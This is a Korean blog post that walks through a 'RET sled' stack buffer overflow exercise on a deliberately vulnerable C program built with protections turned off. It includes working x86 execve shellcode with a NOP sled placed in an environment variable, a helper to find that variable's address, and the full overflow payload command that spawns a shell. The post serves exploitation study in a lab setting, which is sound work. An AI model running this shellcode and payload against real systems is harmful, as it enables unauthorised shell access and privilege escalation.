홈 > IT > IT정보
IT정보

RET Sled 실습

RET Sled 실습


RET Sled 란 RET 명령어를 연속적으로 실행시켜 쉘 코드를 실행시키는 방법을 말하는데, ret 명령어 자리에 ret 주소값을 넣어 다시 또 다시 ret 명령어를 호출하여 이렇게 연속으로 실행시키는 것을 의미한다. 그렇게 연속적으로 실행된 RET 뒤에 바로 쉘코드가 존재한다면 쉘이 실행된다. RET Sled 는 아래와 같이 간단히 실습해 볼 수 있다.


코드는 다음과 같다.

#include <stdio.h>
#include <string.h>


int main(int argc, char *argv[]) {
        char usrinput[40];


        strcpy(usrinput, argv[1]);
        puts(usrinput);


        memset(usrinput, 0, 44);
}

코드를 간단히 설명하면, 오버플로우가 생기는 취약점이 있는 코드이지만, memset 명령어로 버퍼를 0으로 초기화하기 때문에 버퍼에 쉘 코드를 넣을수 없는 코드이다. 그렇다면 RET Sled 를 이용하여 쉘 권한을 얻어보겠다.


코드를 컴파일할때 다음과 같이 컴파일을 해주었다.

# gcc -m32 -o target target.c -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -no-pie -fno-pic


오버플로우를 시켜주어야 하므로 스택을 크기를 구해야한다. gdb 를 이용하여 스택의 크기를 구하면 44 가 나온다. 이때 gdb를 이용하여 ret의 주소 값도 알아내면 되는데. 0x080484a8 이 나왔다.

(  참고 (gdb를 이용하여 스택의 크기 구하는법) : http://www.hacure.com/bbs/board.php?bo_table=tip&wr_id=124&sfl=wr_subject&stx=bof&sop=and  )


# export GETSHELL=$(python -c 'print("\x90"*100+"\x31\xc0\x99\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")')

(  쉘코드 출처 : https://www.shellblade.net/shellcode.html  )


그럼 환경변수가 저장된 주소값을 알아야 하므로 코드를 짜서 알아보면 다음과 같다.

#include <stdio.h>
#include <stdlib.h>


int main(void) {
        printf("Shellcode_addr : %p\n", getenv("GETSHELL"));
}

그리고 컴파일을 한 후 실행을 시키면 다음과 같은 결과가 출력된다.

# gcc -m32 -o getenv getenv.c

# ./getenv

Shellcode_addr : 0xffffd7a1 


그렇다면 이제 ret 주소값과 스택의 크기와 쉘코드가 저장된 환경변수의 주소값을 알았으므로 페이로드를 짜면 다음과 같다.


[dummy(44byte)] + [ret address] + [addr of GETSHELL]


페이로드에 맞게 실행시키면 다음과 같다.

# ./target $(python -c 'print("A"*44 + "\xa8\x84\x04\x08" + "\xa1\xd7\xff\xff")')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����

#

정상적으로 쉘이 실행된 것을 확인해 볼 수 있다.

,

0 Comments
Category
State
  • 현재 접속자 51 명
  • 오늘 방문자 333 명
  • 어제 방문자 612 명
  • 최대 방문자 948 명
  • 전체 방문자 164,907 명
  • 전체 게시물 1,867 개
  • 전체 댓글수 249 개
  • 전체 회원수 113 명
Facebook Twitter GooglePlus KakaoStory KakaoTalk NaverBand
PlusFriend Chat